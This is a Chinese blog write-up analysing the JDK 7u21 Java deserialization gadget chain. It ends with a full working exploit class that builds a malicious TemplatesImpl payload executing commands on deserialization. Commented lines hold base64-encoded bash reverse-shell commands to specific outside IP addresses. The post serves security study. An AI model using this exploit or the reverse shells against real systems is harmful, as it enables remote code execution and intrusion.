Java反序列化之JDK7u21分析

前言:

之前的分析链子大多都是基于了InvokerTransformerTemplatesImpl这两个类去进行恶意加载或者命令执行,同样在jdk7u21这条链子中同样是用到了TemplatesImpl去实现

环境搭建:

因为这是一条基于java本身版本的链子,所以不需要导入什么依赖,只需要jdk的版本是7u21即可

下载链接:

复现流程:

image

首先看一下ysoserial里面的链子

image

我们发现后半部分和我们之前分析的templatesImpl那部分是相同的,只是前半部分不相同,而这次我们发现入口类是LinkedHashSet的父类的HashSet的readobject

断点下到HashSet的readobject里面

image

然后走到最后跟进put方法

image

因为table是null,所以会跳过for循环

image

然后跟到addEntry方法里面

image

这里看到key就是TemplatesImpl的实例方法,value是一个空的object对象

然后当我们一次一次点步过的时候,会发现第二次还会走到hashmap的put方法这里,但是这次我们会发现table不再是空,这次for循环就可以走进去

image

走进for循环的话,这时候就会调用key的equals方法,当我们跟进去这个equals方法,发现直接到了AnnotationInvocationHandler的invoke方法,说明这里有动态代理的调用

image

然后检查调用的方法是否是equals方法,是的话就会调用equalsImpl()方法,跟进去看看

image

在这里就会经过一连串的invoke调用,最一开始是TemplatesImpl.getOutputProperties(),但到了最后就是newTransformer().getOutputProperties()

然后后面就是简单的动态加载类,最后就能弹计算器了

image

最后的exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class jdk7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Drunkbaby");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"  
        byte[] evil = getTemplatesImpl("Calc");
        byte[][] codes = {evil};
        setFieldValue(templates, "_bytecodes", codes);

        String evilHashCode = "f5a5a608";
        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值  
        HashMap hashMap = new HashMap();
        hashMap.put(evilHashCode,"Drunkbaby");

        // 下面部分搞动态代理,反射获取 AnnotationInvocationHandler 类,再实例化  

        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);

        // 创建动态代理  

        Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(),
                new Class[]{Templates.class}, invocationHandler);

        // 准备入口类 LinkedHashSet  
        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);

        // 将恶意templates设置到map中  
        hashMap.put(evilHashCode, templates);
        serialize(hashSet);
        deserialize("ser.bin");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"  
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}

tips:

  1. 为什么evilHashCode的值要设置成f5a5a608?

        解决:这是因为TemplatesImpl也就是上面所说的key在hashcode之后的值就是f5a5a608

  1. 那为什么就必须一样呢?

        解决:这是因为在java readobject恢复对象的时候,set对象中是不允许重复的,所以在添加的对象的时候科宁会有一个比较的操作,当两个对象的hashcode值检测到一样的时候就会对key调用equals方法,那这时候如果我们用AnnotationInvocationHandler代理TemplatesImpl,那在调用equals方法并触发invoke方法,这时候就会调用equalsImpl方法,而在这个方法中会遍历type(TemplatesImpl)中的每个方法,这时候就会触发newTransform() 或getOutputProperties()方法导致字节码加载任意代码的执行

 

 

posted @ 2025-07-28 10:02  Zephyr07  阅读(32)  评论(0)    收藏  举报